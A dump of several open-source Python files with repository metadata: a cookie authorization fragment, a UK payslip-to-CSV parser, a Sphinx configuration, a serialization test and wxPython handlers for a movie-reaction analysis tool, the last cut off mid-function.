cookie["sandy-recovery-auth"]["expires"] = ( expires.strftime('%a, %d %b %Y %H:%M:%S')) return str(cookie) def getIntOrNone(s): try: return int(s) except ValueError: return None def CheckAuthorization(request): if "Cookie" in request.headers.keys(): cookie = Cookie.SimpleCookie(request.headers["Cookie"]) if "sandy-recovery-auth" in cookie.keys(): contents = cookie["sandy-recovery-auth"].value if contents: parts = contents.split(":") if len(parts) == 4: event_id = getIntOrNone(parts[3]) org_id = getIntOrNone(parts[2]) key_id = getIntOrNone(parts[1]) if org_id and key_id and event_id: org_key = cache.GetKey(organization.Organization, org_id) key_key = cache.GetKey(Key, key_id) event_key = cache.GetKey(event_db.Event, event_id) key = cache.local_cache.Get(key_key) event = cache.local_cache.Get(event_key) if not event or not key or not org: results = memcache.get_multi([org_key, key_key, event_key]) key = results.get(key_key) event = results.get(event_key) cache.local_cache.Set(org_key, org, 600) cache.local_cache.Set(key_key, key, 600) cache.local_cache.Set(event_key, event, 600) if not org: org = organization.GetAndCache(org_id) if not key: key = GetAndCache(key_id) if not event: event = event_db.GetAndCache(event_id) if key: age = datetime.datetime.now() - key.date if age.days > 14: key.delete() key = None if org and key and event: secret_matches = (parts[0] == key.hashOrganization(org)) if secret_matches and org.may_access(event): return org, event return None, None

true

1c422bf79ecd435d6fec656ed68ebd798c8bf2b3

6,981

py

Python

parser.py

shtratos/ms-uk-payslip-parser

6372ca671d1942cb6d3cd54f6e22cce1dd6852cd

[ "MIT" ]

3

2019-12-09T15:32:51.000Z

2021-02-08T14:10:30.000Z

parser.py

shtratos/ms-uk-payslip-parser

6372ca671d1942cb6d3cd54f6e22cce1dd6852cd

[ "MIT" ]

null

parser.py

shtratos/ms-uk-payslip-parser

6372ca671d1942cb6d3cd54f6e22cce1dd6852cd

[ "MIT" ]

1

2022-01-08T16:18:38.000Z

import collections import csv import re import sys from collections import OrderedDict from pathlib import Path HEADER_FIELD = '.m.Pay Date' FIELDS_ORDER = [ HEADER_FIELD, '.m.Pay', '.m.', '.d.p', '.d.d', '.d.t', '.d.et', '.d.ytd', ] UNWANTED_FIELDS = [ '.m.Company Name', '.m.Account', '.m.Sort Code', '.m.NI Number', '.m.NI Category', '.m.Pay Method', ] def parse_amount(amount: str): amount = amount.replace(',', '') if amount.endswith('-'): return -float(amount[:-1]) else: return float(amount) def parse_metadata(metadata_text: str): metadata = {} for row in metadata_text.splitlines(): if not row: continue _, cell1, cell2, cell3, _ = row.split('|') for cell in [cell1, cell2, cell3]: cell = cell.strip() if cell: separator_regex = r':\s+' if ':' in cell else r'\s\s+' item, value = re.compile(separator_regex).split(cell, maxsplit=1) metadata[item.strip()] = value.strip() return metadata def parse_payments_table(payments_table: str): payments = {} deductions = {} ytd_balances = {} for row in payments_table.splitlines(): row = row.strip() if not row: continue _, payment, deduction, ytd_balance, _ = row.split('|') payment = payment.strip() if payment: payment_item, amount = re.compile(r'\s\s+').split(payment) payments[payment_item] = parse_amount(amount) deduction = deduction.strip() if deduction: deduction_item, amount = re.compile(r'\s\s+').split(deduction) deductions[deduction_item] = parse_amount(amount) ytd_balance = ytd_balance.strip() if ytd_balance: ytd_balance_item, amount = re.compile(r'\s\s+').split(ytd_balance) ytd_balances[ytd_balance_item] = parse_amount(amount) return payments, deductions, ytd_balances def parse_totals(totals_row: str): totals = {} _, payment_total, deduction_total, net_pay, _ = totals_row.split('|') for total_value in [payment_total, deduction_total, net_pay]: item, amount = re.compile(r':\s+').split(total_value.strip()) totals[item] = parse_amount(amount) return totals def parse_employer_totals(employer_total_footer): totals = {} for row in employer_total_footer.strip().splitlines()[1:]: row = row.strip() if not row or row.count('|') != 4: continue _, this_employer_cell, _ = row.split('|', maxsplit=2) item, amount = re.compile(r'\s\s+').split(this_employer_cell.strip()) totals[item] = parse_amount(amount) return totals def parse_payslip(payslip_text: str): address, metadata, payment_data = re.compile(r"^\s+?-+$", re.MULTILINE).split(payslip_text) _, payment_headers, payments_table, totals_row, _, employer_total_footer = \ re.compile(r"^\s+?-+\|$", re.MULTILINE).split(payment_data) metadata = parse_metadata(metadata) payments, deductions, ytd_balances = parse_payments_table(payments_table) totals = parse_totals(totals_row) employer_totals = parse_employer_totals(employer_total_footer) data = { 'p': payments, 'd': deductions, 'ytd': ytd_balances, 't': totals, 'et': employer_totals } return { # 'address': address, 'm': metadata, 'd': data } def print_payslip(dd, indent=""): for k, v in dd.items(): if not hasattr(v, 'items'): print(f"{k}:\n{v}") # print(['*'] * 30) else: print(f"{k}:\n") print_payslip(v, indent=indent + " ") def count_fields(counts, nested_dict, prefix=''): if hasattr(nested_dict, 'items'): for k, v in nested_dict.items(): count_fields(counts, v, prefix=prefix + '.' + k) else: counts[prefix] += 1 def flatten(nested_dict, flat_dict, prefix=''): if hasattr(nested_dict, 'items'): for k, v in nested_dict.items(): flatten(v, flat_dict, prefix=prefix + '.' + k) else: flat_dict[prefix] = nested_dict def write_payslip_csv_month_rows(categories, csv_table): with open('payslips-month-rows.csv', 'w', newline='', encoding='utf-8') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=categories) writer.writeheader() for row in csv_table: writer.writerow(row) def write_payslip_csv_month_columns(columns, csv_table): with open('payslips-month-columns.csv', 'w', newline='', encoding='utf-8') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=columns) # writer.writeheader() for row in csv_table: writer.writerow(row) def partition(pred, iterable): 'Use a predicate to partition entries into false entries and true entries' # partition(is_odd, range(10)) --> 0 2 4 6 8 and 1 3 5 7 9 from itertools import tee from itertools import filterfalse t1, t2 = tee(iterable) return filterfalse(pred, t1), filter(pred, t2) def enforce_order(iterable, prefixes: list): remainder = iterable result = [] for prefix in prefixes: remainder, matching = partition(lambda x: x.startswith(prefix), remainder) remainder = list(remainder) result += sorted(matching) result += sorted(remainder) return result if __name__ == '__main__': payslips_dir = Path(sys.argv[1]) counts = collections.Counter() csv_rows_table = [] for payslip_file in sorted(payslips_dir.glob('*.txt')): # if payslip_file.name < '2018-04-' or payslip_file.name > '2019-04-': # continue payslip_text = payslip_file.read_text(encoding='utf-8') if 'Employee Number' not in payslip_text: print(f"Skipping {payslip_file} ...") continue print(f"Parsing {payslip_file} ...") payslip = parse_payslip(payslip_text) count_fields(counts, payslip) flat_payslip = {} flatten(payslip, flat_payslip) csv_rows_table.append(flat_payslip) categories = counts.keys() categories = enforce_order(categories, FIELDS_ORDER) # pprint('\n'.join(categories)) # print(len(categories)) write_payslip_csv_month_rows(categories, csv_rows_table) for unwanted_field in UNWANTED_FIELDS: categories.remove(unwanted_field) csv_cols_table = [] columns = [HEADER_FIELD, *[payslip[HEADER_FIELD] for payslip in csv_rows_table]] for category in categories: category_row = OrderedDict() category_row[HEADER_FIELD] = category for payslip in csv_rows_table: month = payslip[HEADER_FIELD] category_row[month] = payslip.get(category) csv_cols_table.append(category_row) write_payslip_csv_month_columns(columns, csv_cols_table) print("Done.")

30.889381

103

0.624409

import collections import csv import re import sys from collections import OrderedDict from pathlib import Path HEADER_FIELD = '.m.Pay Date' FIELDS_ORDER = [ HEADER_FIELD, '.m.Pay', '.m.', '.d.p', '.d.d', '.d.t', '.d.et', '.d.ytd', ] UNWANTED_FIELDS = [ '.m.Company Name', '.m.Account', '.m.Sort Code', '.m.NI Number', '.m.NI Category', '.m.Pay Method', ] def parse_amount(amount: str): amount = amount.replace(',', '') if amount.endswith('-'): return -float(amount[:-1]) else: return float(amount) def parse_metadata(metadata_text: str): metadata = {} for row in metadata_text.splitlines(): if not row: continue _, cell1, cell2, cell3, _ = row.split('|') for cell in [cell1, cell2, cell3]: cell = cell.strip() if cell: separator_regex = r':\s+' if ':' in cell else r'\s\s+' item, value = re.compile(separator_regex).split(cell, maxsplit=1) metadata[item.strip()] = value.strip() return metadata def parse_payments_table(payments_table: str): payments = {} deductions = {} ytd_balances = {} for row in payments_table.splitlines(): row = row.strip() if not row: continue _, payment, deduction, ytd_balance, _ = row.split('|') payment = payment.strip() if payment: payment_item, amount = re.compile(r'\s\s+').split(payment) payments[payment_item] = parse_amount(amount) deduction = deduction.strip() if deduction: deduction_item, amount = re.compile(r'\s\s+').split(deduction) deductions[deduction_item] = parse_amount(amount) ytd_balance = ytd_balance.strip() if ytd_balance: ytd_balance_item, amount = re.compile(r'\s\s+').split(ytd_balance) ytd_balances[ytd_balance_item] = parse_amount(amount) return payments, deductions, ytd_balances def parse_totals(totals_row: str): totals = {} _, payment_total, deduction_total, net_pay, _ = totals_row.split('|') for total_value in [payment_total, deduction_total, net_pay]: item, amount = re.compile(r':\s+').split(total_value.strip()) totals[item] = parse_amount(amount) return totals def parse_employer_totals(employer_total_footer): totals = {} for row in employer_total_footer.strip().splitlines()[1:]: row = row.strip() if not row or row.count('|') != 4: continue _, this_employer_cell, _ = row.split('|', maxsplit=2) item, amount = re.compile(r'\s\s+').split(this_employer_cell.strip()) totals[item] = parse_amount(amount) return totals def parse_payslip(payslip_text: str): address, metadata, payment_data = re.compile(r"^\s+?-+$", re.MULTILINE).split(payslip_text) _, payment_headers, payments_table, totals_row, _, employer_total_footer = \ re.compile(r"^\s+?-+\|$", re.MULTILINE).split(payment_data) metadata = parse_metadata(metadata) payments, deductions, ytd_balances = parse_payments_table(payments_table) totals = parse_totals(totals_row) employer_totals = parse_employer_totals(employer_total_footer) data = { 'p': payments, 'd': deductions, 'ytd': ytd_balances, 't': totals, 'et': employer_totals } return { 'm': metadata, 'd': data } def print_payslip(dd, indent=""): for k, v in dd.items(): if not hasattr(v, 'items'): print(f"{k}:\n{v}") else: print(f"{k}:\n") print_payslip(v, indent=indent + " ") def count_fields(counts, nested_dict, prefix=''): if hasattr(nested_dict, 'items'): for k, v in nested_dict.items(): count_fields(counts, v, prefix=prefix + '.' + k) else: counts[prefix] += 1 def flatten(nested_dict, flat_dict, prefix=''): if hasattr(nested_dict, 'items'): for k, v in nested_dict.items(): flatten(v, flat_dict, prefix=prefix + '.' + k) else: flat_dict[prefix] = nested_dict def write_payslip_csv_month_rows(categories, csv_table): with open('payslips-month-rows.csv', 'w', newline='', encoding='utf-8') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=categories) writer.writeheader() for row in csv_table: writer.writerow(row) def write_payslip_csv_month_columns(columns, csv_table): with open('payslips-month-columns.csv', 'w', newline='', encoding='utf-8') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=columns) for row in csv_table: writer.writerow(row) def partition(pred, iterable): from itertools import tee from itertools import filterfalse t1, t2 = tee(iterable) return filterfalse(pred, t1), filter(pred, t2) def enforce_order(iterable, prefixes: list): remainder = iterable result = [] for prefix in prefixes: remainder, matching = partition(lambda x: x.startswith(prefix), remainder) remainder = list(remainder) result += sorted(matching) result += sorted(remainder) return result if __name__ == '__main__': payslips_dir = Path(sys.argv[1]) counts = collections.Counter() csv_rows_table = [] for payslip_file in sorted(payslips_dir.glob('*.txt')): payslip_text = payslip_file.read_text(encoding='utf-8') if 'Employee Number' not in payslip_text: print(f"Skipping {payslip_file} ...") continue print(f"Parsing {payslip_file} ...") payslip = parse_payslip(payslip_text) count_fields(counts, payslip) flat_payslip = {} flatten(payslip, flat_payslip) csv_rows_table.append(flat_payslip) categories = counts.keys() categories = enforce_order(categories, FIELDS_ORDER) write_payslip_csv_month_rows(categories, csv_rows_table) for unwanted_field in UNWANTED_FIELDS: categories.remove(unwanted_field) csv_cols_table = [] columns = [HEADER_FIELD, *[payslip[HEADER_FIELD] for payslip in csv_rows_table]] for category in categories: category_row = OrderedDict() category_row[HEADER_FIELD] = category for payslip in csv_rows_table: month = payslip[HEADER_FIELD] category_row[month] = payslip.get(category) csv_cols_table.append(category_row) write_payslip_csv_month_columns(columns, csv_cols_table) print("Done.")

true

1c422c3e02bebbc8def8f727bb5f9427050dd1c2

5,960

py

Python

docs/source/conf.py

LourensVeen/simple-cwl-xenon-service

f8ff51629d1198200bd84d59e78ca456321af940

[ "Apache-2.0" ]

10

2017-09-07T10:25:33.000Z

2021-01-20T00:32:31.000Z

docs/source/conf.py

MD-Studio/cerise

f8ff51629d1198200bd84d59e78ca456321af940

[ "Apache-2.0" ]

52

2017-08-22T09:53:35.000Z

2021-08-19T08:24:16.000Z

docs/source/conf.py

LourensVeen/simple-cwl-xenon-service

f8ff51629d1198200bd84d59e78ca456321af940

[ "Apache-2.0" ]

3

2017-11-13T22:01:37.000Z

2021-08-14T10:50:21.000Z

#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # cerise documentation build configuration file, created by # sphinx-quickstart on Wed Apr 19 10:25:17 2017. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. # import os import sys sys.path.insert(0, os.path.join(os.path.dirname(__file__), '../../')) # -- General configuration ------------------------------------------------ # If your documentation needs a minimal Sphinx version, state it here. # # needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = ['sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'sphinx.ext.todo', 'sphinx.ext.viewcode'] # Add any paths that contain templates here, relative to this directory. # templates_path = ['_templates'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # # source_suffix = ['.rst', '.md'] source_suffix = '.rst' # The master toctree document. master_doc = 'index' # General information about the project. project = 'cerise' copyright = '2017 Netherlands eScience Center and VU University Amsterdam' author = 'Lourens Veen' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = 'develop' # The full version, including alpha/beta/rc tags. release = 'develop' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. language = 'en' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This patterns also effect to html_static_path and html_extra_path exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # If true, `todo` and `todoList` produce output, else they produce nothing. todo_include_todos = True # Also document constructors. autoclass_content = 'both' # -- Run apidoc plug-in manually, as readthedocs doesn't support it ------- # See https://github.com/rtfd/readthedocs.org/issues/1139 def run_apidoc(_): from sphinx.apidoc import main cur_dir = os.path.abspath(os.path.dirname(__file__)) sys.path.append(os.path.join(cur_dir, '..', '..', 'cerise')) module = os.path.join(cur_dir, '..', '..', 'cerise') output_dir = os.path.join(cur_dir, 'apidocs') main(['-e', '-o', output_dir, module, '--force']) def setup(app): app.connect('builder-inited', run_apidoc) # -- Options for HTML output ---------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = 'sphinx_rtd_theme' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. # # html_theme_options = {} # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". # html_static_path = ['_static'] # -- Options for HTMLHelp output ------------------------------------------ # Output file base name for HTML help builder. htmlhelp_basename = 'cerisedoc' # -- Options for LaTeX output --------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ (master_doc, 'cerise.tex', 'Cerise Documentation', 'Lourens Veen', 'manual'), ] # -- Options for manual page output --------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ (master_doc, 'cerise', 'Cerise Documentation', [author], 1) ] # -- Options for Texinfo output ------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ (master_doc, 'cerise', 'Cerise Documentation', author, 'cerise', 'One line description of project.', 'Miscellaneous'), ] # -- Options for Epub output ---------------------------------------------- # Bibliographic Dublin Core info. epub_title = project epub_author = author epub_publisher = author epub_copyright = copyright # The unique identifier of the text. This can be a ISBN number # or the project homepage. # # epub_identifier = '' # A unique identification for the text. # # epub_uid = '' # A list of files that should not be packed into the epub file. epub_exclude_files = ['search.html']

30.408163

79

0.677685

import os import sys sys.path.insert(0, os.path.join(os.path.dirname(__file__), '../../')) extensions = ['sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'sphinx.ext.todo', 'sphinx.ext.viewcode'] source_suffix = '.rst' master_doc = 'index' project = 'cerise' copyright = '2017 Netherlands eScience Center and VU University Amsterdam' author = 'Lourens Veen' # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = 'develop' # The full version, including alpha/beta/rc tags. release = 'develop' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. language = 'en' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This patterns also effect to html_static_path and html_extra_path exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # If true, `todo` and `todoList` produce output, else they produce nothing. todo_include_todos = True # Also document constructors. autoclass_content = 'both' # -- Run apidoc plug-in manually, as readthedocs doesn't support it ------- def run_apidoc(_): from sphinx.apidoc import main cur_dir = os.path.abspath(os.path.dirname(__file__)) sys.path.append(os.path.join(cur_dir, '..', '..', 'cerise')) module = os.path.join(cur_dir, '..', '..', 'cerise') output_dir = os.path.join(cur_dir, 'apidocs') main(['-e', '-o', output_dir, module, '--force']) def setup(app): app.connect('builder-inited', run_apidoc) html_theme = 'sphinx_rtd_theme' htmlhelp_basename = 'cerisedoc' latex_elements = { } latex_documents = [ (master_doc, 'cerise.tex', 'Cerise Documentation', 'Lourens Veen', 'manual'), ] man_pages = [ (master_doc, 'cerise', 'Cerise Documentation', [author], 1) ] texinfo_documents = [ (master_doc, 'cerise', 'Cerise Documentation', author, 'cerise', 'One line description of project.', 'Miscellaneous'), ] epub_title = project epub_author = author epub_publisher = author epub_copyright = copyright epub_exclude_files = ['search.html']

true

1c422cfb212b27838ec057a950c0547282063541

1,320

py

Python

pyzoo/test/zoo/serving/test_serialization.py

hkvision/analytics-zoo

aee693a0604db5b5d01540d5d414b644313d5d22

[ "Apache-2.0" ]

null

pyzoo/test/zoo/serving/test_serialization.py

hkvision/analytics-zoo

aee693a0604db5b5d01540d5d414b644313d5d22

[ "Apache-2.0" ]

1

2020-11-19T09:18:01.000Z

2020-11-20T07:14:21.000Z

pyzoo/test/zoo/serving/test_serialization.py

hkvision/analytics-zoo

aee693a0604db5b5d01540d5d414b644313d5d22

[ "Apache-2.0" ]

null

# # Copyright 2018 Analytics Zoo Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import numpy as np import base64 from zoo.serving.client import InputQueue, OutputQueue, http_response_to_ndarray import os resource_path = os.path.join(os.path.split(__file__)[0], "../resources") class TestSerialization: def test_encode(self): input_api = InputQueue() b64 = input_api.data_to_b64(t1=np.array([1, 2]), t2=np.array([3, 4])) byte = base64.b64decode(b64) def test_http_response_to_ndarray(self): with open(os.path.join(resource_path, "serving/http_response")) as f: data = f.read() arr = http_response_to_ndarray(data) assert isinstance(arr, np.ndarray) assert len(arr.shape) == 1 assert arr.shape[0] == 128

32.195122

80

0.701515

import numpy as np import base64 from zoo.serving.client import InputQueue, OutputQueue, http_response_to_ndarray import os resource_path = os.path.join(os.path.split(__file__)[0], "../resources") class TestSerialization: def test_encode(self): input_api = InputQueue() b64 = input_api.data_to_b64(t1=np.array([1, 2]), t2=np.array([3, 4])) byte = base64.b64decode(b64) def test_http_response_to_ndarray(self): with open(os.path.join(resource_path, "serving/http_response")) as f: data = f.read() arr = http_response_to_ndarray(data) assert isinstance(arr, np.ndarray) assert len(arr.shape) == 1 assert arr.shape[0] == 128

true

1c422d734a930cbdf97d4c899dd2c2c62930bff4

9,073

py

Python

src/wx/event_handlers.py

z80lives/affective-movie-evaluator

c22e0d75166c9c26cbca276c70b38c1f6419bfe0

[ "MIT" ]

null

src/wx/event_handlers.py

z80lives/affective-movie-evaluator

c22e0d75166c9c26cbca276c70b38c1f6419bfe0

[ "MIT" ]

1

2019-11-16T23:43:28.000Z

src/wx/event_handlers.py

z80lives/affective-movie-evaluator

c22e0d75166c9c26cbca276c70b38c1f6419bfe0

[ "MIT" ]

null

import wx from src.playback import RecordSystem, VLCPlayer from src.utils import SampleLoader, SampleController, MovieController, PersonController from src.wx.record import RecordTabPanel, CameraCaptureFrame from src.wx.analyse_movie import AnalyseMovieTabPanel from src.wx.samples import SampleTabPanel, SampleTabFrame #from src.wx.analyse import AnalyseMovieTab from src.wx.movies import MoviesPanel from src.wx.person import PersonPanel from src.gsr import GSRSensor def analyse_func(video_dir, video_file_name, fer,head,body,preview,_print): if fer: _print("Analysing facial keypoints...") from FER.ferAnalysis import FaceSystem system = FaceSystem() system.analyse(video_file_name, preview) if head: from src.headpose import HeadPoseEstimator sys = HeadPoseEstimator() #sys._print = _print _print("Analysing body keypoints...") loader = SampleLoader(video_dir) sys.analyse(loader.getVideoFile(), loader.getDir()+"head_points.npy", preview) if body: _print("Initializing pose system") from src.openpose import PoseSystem sys = PoseSystem() _print("Analysing body keypoints ") loader = SampleLoader(kwargs["filename"]) sys.analyse(loader.getVideoFile(), loader.getDir()+"body_points.npy", preview) class CPanelEventHandlers: recordTab = None moviesTab = None personTab = None analyse_process=None def onQuit(self, event): self.Close(True) def onAbout(self, event): msg = "Created by Ibrahim & Faith for FYP\n\t HELP School of ICT \n\t 2019" dlg = wx.MessageDialog(self, msg, "Affective Movie Evaluator", wx.OK) dlg.ShowModal() dlg.Destroy() #print() def newRecord(self, event): self.print("Creating a new record") def onNewSample(self, event): class EmptyClass: pass controllers = EmptyClass() controllers.personController = PersonController() controllers.movieController = MovieController() controllers.sampleController = SampleController() controllers.recordSystem = RecordSystem() controllers.mediaplayer = VLCPlayer #controllers.gsr = GSRSensor() recordTab = RecordTabPanel(self.panel_notebook, self, controllers) idx = self.panel_notebook.AddPage(recordTab, "Record Screening") self.Layout() def onMovieAnalyse(self, event): class EmptyClass: pass controllers = EmptyClass() controllers.movieController = MovieController() controllers.sampleController = SampleController() controllers.mediaplayer = VLCPlayer controllers.sampleController.read_dirs() screeningTab = AnalyseMovieTabPanel(self.panel_notebook, self, controllers) idx = self.panel_notebook.AddPage(screeningTab, "Screening Tab") self.Layout() def onNewScreening(self, event): pass def onNew(self, event): #file selector dialog with wx.FileDialog(self, "Open a movie file", wildcard="mp4 files (*.mp5)|*.mp4", style=wx.FD_OPEN | wx.FD_FILE_MUST_EXIST) as fileDialog: if fileDialog.ShowModal() == wx.ID_CANCEL: return pathname = fileDialog.GetPath() self.print("File %s found!"% (pathname)) sys = RecordSystem() msys = MovieController() msys.read_files() mdata = msys.getMovieByFile(pathname) #try: # with open(pathname, 'r') as file: # self.doLoadDataOrWhatever(file) #except IOError: # wx.LogError("Cannot open file '%s'." % newfile) #open the tab later recordTab = RecordTabPanel(self.panel_notebook, self) idx = self.panel_notebook.AddPage(recordTab, "Record Screening") #auto fill text fields recordTab.form.txtMovieFile.SetValue(pathname) inp_map = { "name": recordTab.form.txtMovieName, "year": recordTab.form.txtYear, "genre": recordTab.form.txtGenre, "tags": recordTab.form.txtTag } self.recordTab = recordTab for k in inp_map: try: inpField = inp_map[k] inpField.SetValue(mdata[k]) except KeyError: #ignore if key doesnt exist continue #self.do_layout() self.Layout() def onMoviesTab(self, event): if self.moviesTab is None: tab_title = "Movies Panel" movieController = MovieController() moviesTab = MoviesPanel(self.panel_notebook, self, tab_title, movieController) idx = self.panel_notebook.AddPage(moviesTab, tab_title) self.moviesTab = moviesTab else: self.moviesTab.onCloseTab(event) def onPersonTab(self, event): if self.personTab is None: tab_title = "Person Panel" person_controller = PersonController() personTab = PersonPanel(self.panel_notebook, self, tab_title, person_controller) idx = self.panel_notebook.AddPage(personTab, tab_title) self.personTab = personTab else: self.personTab.onCloseTab(event) def onCloseTab(self, event): self.delPage("Record Screening") self.Layout() def onCloseAnalyserTab(self, event): self.onStopProcess(event) self.delPage("Analyse Sample") self.Layout() def onRecord(self, event, form): sys = RecordSystem() msys = MovieController() msys.read_files() person = form.txtPerson.GetValue() movie_path = form.txtMovieFile.GetValue() mdata = msys.getMovieByFile(movie_path) file_name = msys.get_dir() + msys.getMovieObjById(mdata['id']).filename data = {"movie_id": "%s"%(mdata["id"]),"subject_name": person} player = VLCPlayer(file_name) sys = RecordSystem() filename = sys.createSampleDir() sys.saveMetaData(filename, data) sys.start_recording("sample", player, False, filename) self.print("Record complete...") self.print("New sample created. sample_id= %s"%(filename)) def onSampleMenu(self, event): if self.recordTab is not None: self.recordTab.Close() #print("Sample Menu") #sampleTab = SampleTabPanel(self.panel_notebook, self) #self.panel_notebook.AddPage(sampleTab, "Sample Records") class EmptyClass: pass controllers = EmptyClass() controllers.personController = PersonController() controllers.movieController = MovieController() controllers.sampleController = SampleController() sampleFrame = SampleTabFrame(controllers) sampleFrame.Show() self.Layout() def onCaptureTestButton(self, event): self.print("Camera Capture event started.") captureFrame = CameraCaptureFrame() captureFrame.Show() self.Layout() def onAnalyseMenu(self, event): with wx.FileDialog(self, "Open a sample file", wildcard="avi files (*.avi)|*.avi", style=wx.FD_OPEN | wx.FD_FILE_MUST_EXIST) as fileDialog: if fileDialog.ShowModal() == wx.ID_CANCEL: return pathname = fileDialog.GetPath() self.print("File %s found!"% (pathname)) _sid = pathname[:pathname.rindex("/")] _sid = _sid[_sid.rindex("/")+1:] analyseTab = AnalyseMovieTabPanel(self.panel_notebook, self, _sid) self.panel_notebook.AddPage(analyseTab, "Analyse Sample") self.Layout() def onAnalyse(self, event, sid, form): #import sys, time, threading from multiprocessing import Process fer = form.chkFER.GetValue() head = form.chkBEGR.GetValue() body = False preview = form.chkPreview.GetValue() video_file_name = "./data/"+sid+ "/test.avi" video_dir = "./data/"+sid+"/" if not preview: p = Process(name='process', target=analyse_func, args=(video_dir, video_file_name, fer,head,body,preview,self.print,) ) p.start() else: analyse_func(video_dir, video_file_name, fer,head,body,preview,self.print) self.analyse_process = p def onStopProcess(self, event): if self.analyse_process is not None: self.analyse_process.terminate() def delPage(self, pageTitle): for index in range(self.panel_notebook.GetPageCount()): if self.panel_notebook.GetPageText(index) == pageTitle: self.panel_notebook.DeletePage(index) self.panel_notebook.SendSizeEvent() break

34.896154

92

0.616114

import wx from src.playback import RecordSystem, VLCPlayer from src.utils import SampleLoader, SampleController, MovieController, PersonController from src.wx.record import RecordTabPanel, CameraCaptureFrame from src.wx.analyse_movie import AnalyseMovieTabPanel from src.wx.samples import SampleTabPanel, SampleTabFrame from src.wx.movies import MoviesPanel from src.wx.person import PersonPanel from src.gsr import GSRSensor def analyse_func(video_dir, video_file_name, fer,head,body,preview,_print): if fer: _print("Analysing facial keypoints...") from FER.ferAnalysis import FaceSystem system = FaceSystem() system.analyse(video_file_name, preview) if head: from src.headpose import HeadPoseEstimator sys = HeadPoseEstimator() _print("Analysing body keypoints...") loader = SampleLoader(video_dir) sys.analyse(loader.getVideoFile(), loader.getDir()+"head_points.npy", preview) if body: _print("Initializing pose system") from src.openpose import PoseSystem sys = PoseSystem() _print("Analysing body keypoints ") loader = SampleLoader(kwargs["filename"]) sys.analyse(loader.getVideoFile(), loader.getDir()+"body_points.npy", preview) class CPanelEventHandlers: recordTab = None moviesTab = None personTab = None analyse_process=None def onQuit(self, event): self.Close(True) def onAbout(self, event): msg = "Created by Ibrahim & Faith for FYP\n\t HELP School of ICT \n\t 2019" dlg = wx.MessageDialog(self, msg, "Affective Movie Evaluator", wx.OK) dlg.ShowModal() dlg.Destroy() def newRecord(self, event): self.print("Creating a new record") def onNewSample(self, event): class EmptyClass: pass controllers = EmptyClass() controllers.personController = PersonController() controllers.movieController = MovieController() controllers.sampleController = SampleController() controllers.recordSystem = RecordSystem() controllers.mediaplayer = VLCPlayer recordTab = RecordTabPanel(self.panel_notebook, self, controllers) idx = self.panel_notebook.AddPage(recordTab, "Record Screening") self.Layout() def onMovieAnalyse(self, event): class EmptyClass: pass controllers = EmptyClass() controllers.movieController = MovieController() controllers.sampleController = SampleController() controllers.mediaplayer = VLCPlayer controllers.sampleController.read_dirs() screeningTab = AnalyseMovieTabPanel(self.panel_notebook, self, controllers) idx = self.panel_notebook.AddPage(screeningTab, "Screening Tab") self.Layout() def onNewScreening(self, event): pass def onNew(self, event): with wx.FileDialog(self, "Open a movie file", wildcard="mp4 files (*.mp5)|*.mp4", style=wx.FD_OPEN | wx.FD_FILE_MUST_EXIST) as fileDialog: if fileDialog.ShowModal() == wx.ID_CANCEL: return pathname = fileDialog.GetPath() self.print("File %s found!"% (pathname)) sys = RecordSystem() msys = MovieController() msys.read_files() mdata = msys.getMovieByFile(pathname) recordTab = RecordTabPanel(self.panel_notebook, self) idx = self.panel_notebook.AddPage(recordTab, "Record Screening") recordTab.form.txtMovieFile.SetValue(pathname) inp_map = { "name": recordTab.form.txtMovieName, "year": recordTab.form.txtYear, "genre": recordTab.form.txtGenre, "tags": recordTab.form.txtTag } self.recordTab = recordTab for k in 